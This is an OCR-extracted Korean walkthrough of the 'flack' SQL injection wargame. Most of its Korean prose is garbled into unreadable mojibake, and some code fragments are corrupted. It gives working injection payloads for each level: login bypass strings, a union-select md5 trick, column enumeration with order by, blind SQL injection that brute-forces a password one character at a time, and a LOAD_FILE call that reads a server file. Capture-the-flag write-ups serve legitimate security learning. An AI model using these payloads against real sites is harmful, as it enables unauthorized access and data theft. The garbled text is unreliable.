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1. FLACK A1 A7)

FLACK 922 SQL Injectiond} D&l X ESZ 0|20 ACH MHLE Linux, Mysq|,
Apache 7[HtolCt BE EHES 2I00| MEss 0| EHE F o2 TEEE Cia
E0|gt 7AME JIX| Joel, MA EMH= 22 Levell~Level5, Otherl, Other3@ 2 FMEL|
o UCh 2X QHe 72Xl o1= 23|=E LOAD_FILE, Blind SQL Injection £ 0j= M
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EMC 7|-E8 2t Ao, YA Y2 http://zetorownagexfcz/ O & %= ULt

A} .11 flack 11:i. — Microsoft Internet Explorer
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(I [ flack 11::. - Microsoft Internet Explorer
PEOEY WEE) 22 SAFINA) BRI ESEH)

IL
T (00 | &) hitp//zetorownage, «f cz/logindevel 1/

Nas to be ultra

&) 28 © SIEY
HAE Zit SSE2AE 8310f SQL 2FE R £ A0, A HA Z0| quote X}
C

£ HEUS A9 0|2 HAIX|= Chzah 2L

The americans launched their rockets. Today we will all die.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near 'aa' and pass='bb" at line 1
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select * from member where user='$_POST['user’]’ and pass='$_POST['pass’]’;
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2(et AEZo| SQL #H2|l&= Ch31t ol ofjae =+
select * from member where user="or 1=1# and pass='whatever’;

user= F&H O
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3 .2 [ flack 11::. - Microsoft Internet Explorer
FUCEY MEE) HEI0V SHEINA) (T EEH

m
T a-(0) | @] htip:/fzetorownage. #f, cz/loginlevel 1/
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3. Level2

Level2 HA| CtE1 22 209 HO|X|E & &= AT

<3 .:: I [ flack 11::. - Microsoft Internet Explorer
OH(Fy ME(EY HEHIN) SHEI(A) BRI ZEZHH)
= -(00 | @] hitp//zetarownage. #f cz/ogindlevel2/

e the hint gone? )

& 28 © IEL

20 et of2 HiAIX|E Cigdb ZUL.

The americans launched their rockets. Today we will all die.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near 'b' and pass='c'd" )" at line 1

ngtMo 2 HAlot ZAIE2 7|EQ 2392 MZ|E fle SQL H2|oj1, EtMo =z &
2 227t F0 Y XS0t Z2nE SOt quote EAE 0|8t H2| =0
SHAl 2O[X2H of2] HAIXIE H4HEH 2102 MZ|E ¢ot SQL HE|7t Levellit=
Ct2tts A & =+ Atk 232 M2 Al SQL H2|= th3a 20] olde 5= ALK

select * from member where (user='$_POST['user’]’ and pass='$_POST['pass']’);
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?let

Ze 3% Mg 30

| SQL #2|= Ct3at 20| o &= UCH
SELECT * from member where (user=" or 1=1)#" and pass='whatever you want’);
U2 B2 HO| &4, ) 2XE S HelE B2 Fo FAZ#

2ol H2le FAl 2 AO|EZ OJU=etEH TA H2l=
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WA 27 SHSIE) EAHT E22HH)

_| http://zetorownage, =f cz/loginlevel 2/
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4. Level3

Level32] 219! H|O|X|= CIS
O|H Level20jAQ 3IEE QAXK|

o9l Yol 2Lt

=
2ot MO QUL otbte ™ EHARE RAbet F oS 7HA|

¥ .::1[ flack 11::. - Microsoft Internet Explorer
FUCEY ME(EY EIJM SAHEIIA) BRI EEEH)
“=(00 | @] http://zetorownage, #f. cz/login/level 3/

Ir
=
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Aogins php

Login az 'admin', and don't, forget the hint from le

FO|Zl 2t E0f quote 2Xt 52 E310] 1oH¥oz SQL RLFE {EE Zi} oo|C|S
YHStE & 5 A UM L HA0MU OfF HHAR ST FY9 QMM FfHo| &
dot@ict otot= 200 M2[E flet SQL F2l= CiSat 20| Level2ot 7o SYSICIR
B EZXD, £ HE 2 Z2 addslashes(), mysql_real_escape_string()1t Z2 45
&5}0] quote 24t 5= EHSL U= ANEH EALL

[ $_POST['pass] ZEZ ]

select * from member where (user='$_POST['user’]’ and pass='$_POST['pass']’);
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et €2 54 Al 22 SQL HEZ|= Chaat 20| ofdE + ULk

select * from member where (user="admin’ and 1=1)#" and pass="hackko’);

AFEAL A8 2 adminO| 1=1(F= &)0j2t= = 0|20 FHEH#HS Sot0 WA=
=

£ M35tes H2E FH AIAH 2328 =8t

A2 BHZ ARG CHSTH 20| admin AHO2 210l HUSS Hele + STt

<3 .::1[ flack 11::. - Microsoft Internet Explorer
OriEy  MEE) B0 SHEDA BRI RS
S0 @] htp//zetorownage, #f, cz/loginflevel 3/
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<} 1 [ flack 11::. - Microsoft Internet Explorer

ohEy mEEy 2200 SHEI(A) EX(Ty ESZH)
T4-(00 |#&] http://zetorownage, #f.cz/login/leveld,

e on You...

& 21E

= A0t 2302 F0Me FUYst F22 X2 = gi2n, il Forgotten password:
ofgff F&2| AU FOoAM SQL QUHM F O] LAHE|RJUCH FOF ZF0| hktest' EXIES
YStH No|Moz OHE LHAZ = U2, siE MA|X|= Ct2at 2Lt

You have an error in your SQL syntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near "hktest™ at line 1
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= Y8 ZOotM 10 siEst=s WARYES HEZ EUHFEE Folsts 1t
EoF AdE X e, sQL Hel= Cheat 20| odd & ULt

select username, password from login_table where username='_POST[$fuser]’;
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level4= Blind SQL Injection@ 2 Z0|7} 7}5%tH|, GET EE= POST ghAlo|2te AE AN 2|5t
™ Otherl 22X M E0|1™H0| 5L38l7| MZ0 Blind SQL Injectiong $|$t Brute Force

Lot e 2M HE =tHS 2OFL, LM dAMe 20| 282 Otherlz CHA|SHAICH

Blind SQL Injection2 ¢|%t Brute Force &4 AL

http://hkpco.kr/code/blind_brute.c

R .21 [ flack 11::. — Microsoft Internet Explorer
OHFE(Ey MmEE) 2200 SHED (A EXMI) ZSZH)
=00 | @) hitp e/ zetorownage, #f, cz/logindleveld/
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http://hkpco.kr/code/blind_brute.c

6. Level5

fe)
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a2 FAES HO0jF1 0|5 R[5t HYgs ERE ottt

OHcEy  MEEY E21M SHENA B
T 000 @) hitp://zetorownage, «f, cz/logingevel5/

&)= © 2IEY

?l ZMOAM F37F 22 U= source ZAES EEOIH Chglt 22 28 22 IEE =

+ gtk

A} hitp://zetorownage. xf.cz/login/level5/source.phps - Microsoft Internet Explorer

OreEy MEE) =2 EHEA BRI ESH s
200 | @] http://zetorownage, #f oz logindevels/source. phps v a I[E=

<?php

!Iﬁrl'nlas = nysql _query("SELECT userloginpassword FROM userslogintable WHERE userloginnane="{$_POST[ user' ]} "J;
fnum = mysal_num_rows($res);
$row = mysql _fetch_row(fres);

if ({fnum !'= 01 && (Istrcasecmp(ndS($_POST[ pass'1), $row[D]J0) 4
echo "ok, wou did it!":

Felse {
echo "Login failed.”:
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$res = mysql_query("SELECT user loginpassword FROM userslogintable
WHERE user loginname="{$_POST[ 'user']}'");

$num = mysql_num_rows($res):

$row = mysql_fetch_row($res):

f (($num = 0) && (!strcasecmp(md5($_POST[ 'pass']), $row[0]))) {
echo "ok, you did it!";
}else {
echo "Login failed.";

)

7>

HH mysql_num_rows() &+& Sl SQLO| Z1tIt &
strcasecmp() B+E 0|23l pass Y& =2 md50)2 =346t 2fat mysql_fetch_row() &
O] X HHH| O|O|E{(ZF, userloginpassword ZHE=O| A HHF| Z1t ZHet Hln

(o]
=
oto] LX[StH 210 455 LtEfLf= "ok, you did it!" EAIE S S8 F= ZEO|L}

EXot=XE HAS F

—

|

24 Anotg 20 B, 22|= userloginnamelt userloginpassword ZE9| I8 & £
gooE 0| Y Qs Wlos P27t UCH SIXITL A EM BEOA SQL 1A
Flofdol Ex5t7| W=of 2t2to| Fof Ctaar 20| YHSHH 3[7t 7HsdtLt.

" union select md5('hkpco')#

hkpco

flet 20| YIS E2 SQL HE|= B 20] o + ALK
SELECT userloginpassword FROM userslogintable WHERE userloginname=" union select
md5(‘hkpco')#'

userloginnameO| ", & H[o|Ue =z af| Fz[e| Zut= NULLO| E|ZIX[Zt uniong 0|2
SHAICE O2{H MM FE2|9 A= hkpco 2AtE S

o] select md5(‘hkpco'); #Hz2|Qt A2
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md52 Gz ool g0 E 0| FHE@O| Qg o= H2l= FAIE AO[C Ctg php
AEE HIXL

$num = mysql_num_rows($res);
$row = mysql_fetch_row($res);
f ($num != 0) && (Istrcasecmp(md5($_POST['pass']), $row[0])))

MW Zo Y=ok union H2| ADtZ ABH0] $num Ha= 10| E AOIH, siY HEle
ZIQl hkpco EAIE S md52 22 ooh ¢f2 $row([0]0f MTE[Of S ZHOICh O] Mf &=
o

=i,
B Z0f = = hkpco EAEE md5

52 Q538 Z40| strcasecmp() BH4=0| A HIRf Ol
AE7t €13, $row[0]ol = Al hkpco 2XEO| mdS 70| HMHE|of Yoo2 BE XIS 2
g5t Elof 2300 43 4 QUAECEL AX ZAICES YS A= chSat 2ok

[ flack 11::. - Microsoft Internet Ezplorer
FEEY HEEY 2N SHEFNE) (I E=ER)

=100 | @] http://zetarawnage, xf, cz/loginlevel s/

ot ame
of the sourcel )

@ e ® DI
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7. Otherl

Other M2 RE ZX7t 23 o|eo| CHE HO|X| S0 FOZCt= 2
Ct

Login M43} QAPstCE CHETH 22 219 HOIXE £ 4+ Utk

<3 ;21 [ flack 11::. - Microsoft Internet Explorer

MEE) BEE) I SAFINE EHD ESH)

200 |&] http://zetarownage, #f, cz/atherflevel 1/

jumper A8 2 29l &= Z0| O|H Aol ZHO|D{, Members: Of2{0f| ALEX} O|E2

2 Ho|l= Ho5S ZEHE t3a 20| gMet 32EE = & ALk R27F 232 8o}

Z jumperA| OpEtZEX|O|LCE.
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23 | [ flack 11::. - Microsoft Internet Explorer
FEOEY WEEY EXVY SHEVA I TSR
=100 @] http://zetorownage, »f,cz/other/levell /members, phpfuid=4

I
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& e © D

2791 HO|X|0|AM quote 2X S2 A
Ct. O30 AMEX BEE EO0F= members.phpl| uid B0 quote A& MU EQ
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URL: http://zetorownage.xf.cz/other/levell/members.php?uid=4'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near "#" at line 1

2|7 Y=t quote 2Xt= Qlof SQL Of 27t RESHAX| T BE 0| 25t «0f Escape
=AW 7L FIE[RAC ool 2

ACH =, SQL Injection2 X EBE|X|T quote At ZFHQl A S Sot
Flotd 842 g AME A0 J2iA quote XS M|elst QAMME S A|E=stRALt

= =
2 FEoo =831, order by 28 S 0= F HM EE U2 7IELE
ZH =L 07| BE T2 F5E RIS order byE AtE%H O|R=, order by N O M
No| 7|7} select & columne| Ji=ELCt 2 ZR0= OHE LEAIZ[7] 0 o2 &
A HFE A NZYO| HFEZ select=l column®| 7447} & Z40|7| {E0|C}|
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Ct=2 orderby 12 M2 4

—

20| Zmtolct.

URL: http://zetorownage.xf.cz/other/levell/members.php?uid=4 order by 1

<} .::1 [ flack 11::. - Microsoft Internet Explorer E]
J'J

ol
O BEE 2N SAFRNA LMD ZsEH
T D) &) http://zetorownage, =f,cz/other/level 1 /members, php?uid=4%20order 20by %201 w ﬂ s

& 22 © CIE

Ct22 order by 1008 S A0 AuO|Ct select=l column®| 7§27} 1007} O|st0o|E =2

O

o 2{7h Zdstct.

URL: http://zetorownage.xf.cz/other/levell/members.php?uid=4 order by 100

3 . - Microsoft Internet Explorer E]

A0 flack 1]::
mrcky MEE) 2210V SHFNA) I EsEH) o
=200 &] hitp://zetorownage, #f, cz/other/levell /members, php Puid=4%20arder®20by 220100 |+ ﬂ H[E=

© 2EH

] =
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o|z{sl ditHoz J&fth select®l column®| 7§4== 6740|C}. X|Z7}X| columne| 7|$E F

SHHX| 2t Otherl EXMOIM AtEEl= HIOZ O|EO0|Lt ZE O|& &2 X X357 WO

g = Aes YOo| S| YU HO|E ZE 0|52 LOtHZ| {5t union F+&
A

AL
= T Mo
1t €74 information_schemad & 28| EQFX|SF At

olo
ot

= QAEHI, OI" (HEtet AYS = ER2Z ot SHX|2E AR X}
MEE LIEIY = O A HRE 9ol tto{9l id, name, email 50| AKX column O|E21F 5
StCn, YA order by2 L0F LHUT MEHEI columne| 7Hs=(67H) ECt EEl= FEO
H==(571)7t stLt Moo=z LIMX| o 7§2| column O|FEF ZOHLYEH E|QUACtH oF
23 LIHX| 3Lt THAREO siESte columnO|2gts HAE F&HE 5 UL

members.phpOf M AFEE @ SQL F2|= Chaa 20| ol & =+ ULt

select id, name, email, notes, notes2, ??? from members where id="_GET[$uid]’;

GET ®Efol w4l Suido| Y2zl 20| Chstol TE{Y 3tn YSDE quote BX 52

HMelstn SAsHoF otH, AFA =H 20| FHZ= QSHA| A &t

column O|F0| & et DFX| @2 F2| order by Zut= 2424 Cig1f &Lt

A> columnO|E0| Exj& A

URL: http://zetorownage.xf.cz/other/levell/members.php?uid=4 order by pass

<} .::| [ flack 11::. - Microsoft Internet Explorer
oriEy  EIEEY HIAM SHEFNE EXI ESEH) i
100 | @] http//zetorownage, #f cz/other/levell /members, phpPuid=4%200rder% 20by % 20pass v ﬂ =

&) 2 £ 2IEY
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B> column 0|F0| EXYsIX| pt2 8%

URL: http://zetorownage.xf.cz/other/levell/members.php?uid=4 order by key

<3 . [ flack 11::. - Microsoft Internet Explorer
O BEE) BI0 SAFIE D ESZHH)
=00 | @] hitp1//zetorownage, »f, cz/other/level |, /members, php?uid=4%20order3 20by % 20key

, LIMX|= AFEAF S

column 0|52 £

=

[

— o =L

= YS 448 25,
(]

o =
pass fé'E?r M2 E[AX|T CHE column YESH= a2l 23 =KX= U7 W2 Of
= QotL7| Qet oz Blind SQL Injection2 MZts| & 4 QUC} siT 20| 7H53HX|

o
of tiet §2& Ciadt 20 HAES] = + Uk

<Ha|7} ol AL>

URL: http://zetorownage.xf.cz/other/levell/members.php?uid=4 and (select 1)=1

R .::| [ flack 11::. - Microsoft Internet Explorer
My WEEY 2200 SHF0A I ZEEH) L
100 | @) hitp//zetorownage. uf cz/other/level | /members. php?uid=4%20and% 200 select®% 2010=1 ~ ﬂ s

ead

&) 2 £ 2IEY
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< #H2l7t AR AL >

URL: http://zetorownage.xf.cz/other/levell/members.php?uid=4 and (select 1)=2

R .::| [ flack 11::. - Microsoft Internet Explorer

IRy WEIEY 2210 SAFNE 3D TSEH
T at00 | @] hitp//zetorownage. »f.cz/other/level 1/members, php?uid=4%20and % 20{ select% 201)=2

HE7F 2 e AL FR2 SQL #FE2 3 20 738 & + ULk

<EQl ALR> -id7} 40|10 select 11 12 ZCh &, 1=1

select id, name, email, notes, notes2, pass from members where id=4 and (select 1)=1;

<HZ9l AL> - id7} 40|11 select 11} 2= ZCH =, 1=2

select id, name, email, notes, notes2, pass from members where id=4 and (select 1)=2;

a7t "ol B2e HEHoR id7t 420 ALBAtel FEI #3E Ao|X|Th HAY FL0
= o3 Zugte EHI(X| Y=Ch YEHoR 1=20 A= EXSHX| 7| 0|t
Olet Z2 WHE &S50 pass HEQ| HIO|HE ot =+ UL O7|M pass HEO| 2
ob Hof| YotuZ|7t &E7| WEo| Ch21t 20| oF EAtY H|udst= S AM8SiOF BHCt.

4 and ascii(substring((select pass),1,1))=[ascii H2|Z bruteforce]
4 and ascii(substring((select pass),2,1))=[ascii H2|Z bruteforce]

4 and ascii(substring((select pass),3,1))=[ascii H2|Z bruteforce]
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A Z0|2 TIYsl7| Foj ascii(substring((select pass),2,1))=NO0f CisIod ZHEHS| M}
. $M select passE &ot0] passZEQ| HIO|HE2 EsiF =0 0| M, substring()

83l & HEf XHRE lbyteE FEottt 2|4 asci() g2+E S50 Hrete
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Blind SQL Injection®] =3 nt™¥ Ct3at 20| LtEtYE 4= QICt

. select pass F2| 2 pass HE(F, AL LE)E st

. substring() &+& Sl HtatE =

i S asci) g8 S OfA7| HEHZ Mgt
OHCHH

| 20l Y gtif YX[SCt

m
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oos woN e

2 MHEE K=ot & = JEE ALY ol A= Ch2aF ZLC} select, thread £9| Ct=E
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Otherl - Blind SQL Injection Brute Force
http://hkpco.kr/code/blind_brute2.c

Brute Force OrA7| 7 @7t Ot Lmelul =X R 7K 24t S22 s, &
AHE HlWsh= SQL H2| 2o “jumper” EAHEO| EXSHH Hlust A7 LAt AL
2 7prgstn ASSM miafl=el CHE EAE Hlwotth OX|%ez

al N
NULL BXp7H 22 9 45 HAYCES # Ho2 4stn Z2IYS SR

g2 MY $ Z2IYS UWeh HBO|Th O] HE J|Ct2|W oh3at 20| ABHel
A O 3

#* hkpco@ns: ~/public_html/sgl_wargame

[ Ins al _wargamne] b o hlind br ] d_bruteZ.c -Wall
[ C lind_brute

Il

e
meh
mehi
mehi |
mehijo
mehi
mehi
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http://hkpco.kr/code/blind_brute2.c

O|FA &2 WAEES 0|83t0] =10S ot7| o) 24 F0f Ct

ajo

at

my
o
o
J
Ot
e
n

Che2 28 23020 §&¢t 2t HolLt.

It

I SAFEIL) ERXI EsEH)
I |@&] http://zetorownage. =1 cz/other/level 1/

not another loc .. UHint: count

&z ® 2IE

well done!
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8. Other3

Opx|9f 2™ O|ct. 0% HO|X|= EtZah ZLf.

A .::| [ flack 11::. - Microsoft Internet Explorer
OHEy MEEE) B2V SHFEDNA) I ESE(H)
T a-(0) @] hitp://zetarownage., #f cz/other/level 3/

Jother/

rd for this [, But to find

ot 2ME 271 ?lhM= F 7HA HYS efof ook A BRj=, WA=t B MEsS
He A0l & BIRfE, mysql FHEIE HAY + U= Y FS 0[83t= AOILf
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B level3[1] - HI2ZE
OFE(EY BEE) MA0 HIAM TSEH
-
<html> 1
<head>
<title>.::|[ flack ]|::.</title>
<LINK rel="stylesheet” href="_./._/style.css" type="text/css">
<fhead>
<body> —
<{p>/other/level3/index.php</p>
{p class="d">
There is a hidden file which contains the password for this level. But to find that file you'll need to kno
<Ap>
<h3>Login:</h3>
<form method="POST" action=""">
<table border="0" cellpadding="@" cellspacing=""2">
{tr>
<td><{input type="text" name="user" />{/td><{td rowspan="2"><{input type="submit" value=">" class="b" /><{/
<At
{tr>
<td><{input type="text" name="pass" />{/td> w
£ >

B level3[1] - HI=ZE,

LHZF) BEE) M 20 ES2H)
A
{t*-— no the password isn't here, but you're on the right track. keep crawling... --> 3
< | 3.
— E—

CHE SHAsi2™, of7|of WAJAEE QUX|T SHEA Z2otn ACh= XO|Ch 2FCHH of
I E OE HOIEE e 5 UAS A0l oYstn dHEE =F Lt #2 IET)

=0 = Act.

<html>

<head>

<title>.|[ flack . </title>

<LINK rel="stylesheet" href="./../style.css" type="text/css">
</head>
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HYHez HOolE HTML A== Sget 40| g7 Mizo gz 3 E npeel

style.cssE OAMGIR O, Of2f FAOAM g = QRULCH

http://zetorownage.xf.cz/other/level3/../../style.css

.S
¢ okay vour hidden shit is here!
Amp/a000.temp
note: this is not the web root dir,
W
L4 >
CTEL=E HHE <F1: 7IE FEHMNT,

SO{EH IjAEE= /tmp/a000tempdf MTEN Us AS & =+ U2H, XNSMAE H
A CHA R 7hgstc

OfX & HRf THARl mysql H2|E 2 —’F As B2 0|80 O] IAE MYUS <&
HoloF ot= A22 HIUCh ZX HOX[oE ASEO UACHAID] H2|0|M quote ZALS E
HE o1 Aen, dm= 2 488 = %lE H2l= MetHo|Uct

Ze C1S T ZYD, 0|2 Sof MY PHNoE SUEHE HS L & YLt
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http://zetorownage.xf.cz/style.css

SIXf FOIT A2 jAQETF E7) mUQl /tmp/a000.temp, 2|1 H$HHO|LtOF SQL 2|
E dY = Us g8 J0| ACL AoME AGSIAX|T O] ¥ Z2 0|85 M LY
g2 ZEOF 5t= A2z 20|, 22|= 07| LOAD_FILE() &=+E 4 & 5+ ULt

Ct21F 20| ALESHH mt W&o E&o| 7t
select LOAD_FILE( ‘/tmp/a000.temp’ );

st 70|Ct.

=
o=

uote BXAtS TEY o7 W20 oiE Hals YUMoz HYER| o

| q =]
=Lt 0| 3 = Y& EES ROIOoF st=0|, char() &+E 0| &IRALCE

& hkpco@ns: —

[hk
Enter
IIIII E |

Tvpe "help:' or "#h' for help.

in set (0.00

O|X| char() =2 A23t7| KA “/tmp/a000.temp” EA+Y
olof sk, T1giol WABCIE T18 2Ol AEHY Aoz HEE 4 3

[y o
F= ZE= Chsdt ZCh

conv.c

int main( int argc , char **argv )

{
inti =0;

if(argc < 2)

return O;
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for(; i < strlen(argv[l]) ; i++)

printf( "0x%x" , argv[1][i] );

else

printf( ",0x%x" , argv[1][i] );

printf("#n");

O[X| ZtEt5| /tmp/a000.temp ZAES char() 24 AR O| A Heteh = QUCh

—

[hkpco@ns sgl_wargame]$ ./conv /tmp/a000.temp
0x2f,0x74,0x6d,0x70,0x2f,0x61,0x30,0x30,0x30,0x2e,0x74,0x65,0x6d,0x70

WAQIE THUS AYBY| 9B ABH SQL F2l CrST 2Ltk

select load_file(char(0x2f,0x74,0x6d,0x70,0x2f0x61,0x30,0x30,0x30,0x2e,0x74,0x65,0x6d,0x70));

e FH2IE F A S0l Yo SQL H2E H™AIZ 2Vt EH¥EH, O 20t H2
/tmp/a000.temp It

user= batman, pass= skoda>batmobile?l 42 & £ ULt XF 202 5t 2zt

Ch=a 20| YHsgct

lbatman
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e AZez 205 A|ESHH

‘dE2 Xot= "well done!” HAIX|E & = ULCH
[ flack 11::. - Microsoft Internet Explorer
mHF MHEE)

HI0N SHE(E BN
(0 | @] hitp://zetorownage, #f, cz/other/level3/

SEE

[ But to find that fil

@ EL
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9. &7

OEHEE = B2 HAYS ZEUAXT 20 tiet 20|18 Zdst= A2 O|H0| A
S0[AN, 2F2 HAY0lEts A XHE Aol HoHA| WOLMARX| &=|7t M=FEt o

—

TLHO| +E2 HAYSOl AL ARREXE 0] gh=EE A[Z[7F AU=H AWM=

AN AN

= OX[1 O F ROl FX|EL UCk= EZ40] SO AEFZ7|= ok 2ot o ©

fm]
==

[

ro Hc

A0l HZHHOR FHT 4 Ut KASD MOIE AAYSO| AL WALIIE b

A f
42 MEo| BE2 ghtets H4S o7k otk 2 EHAe 2ZO2tnL: 2.
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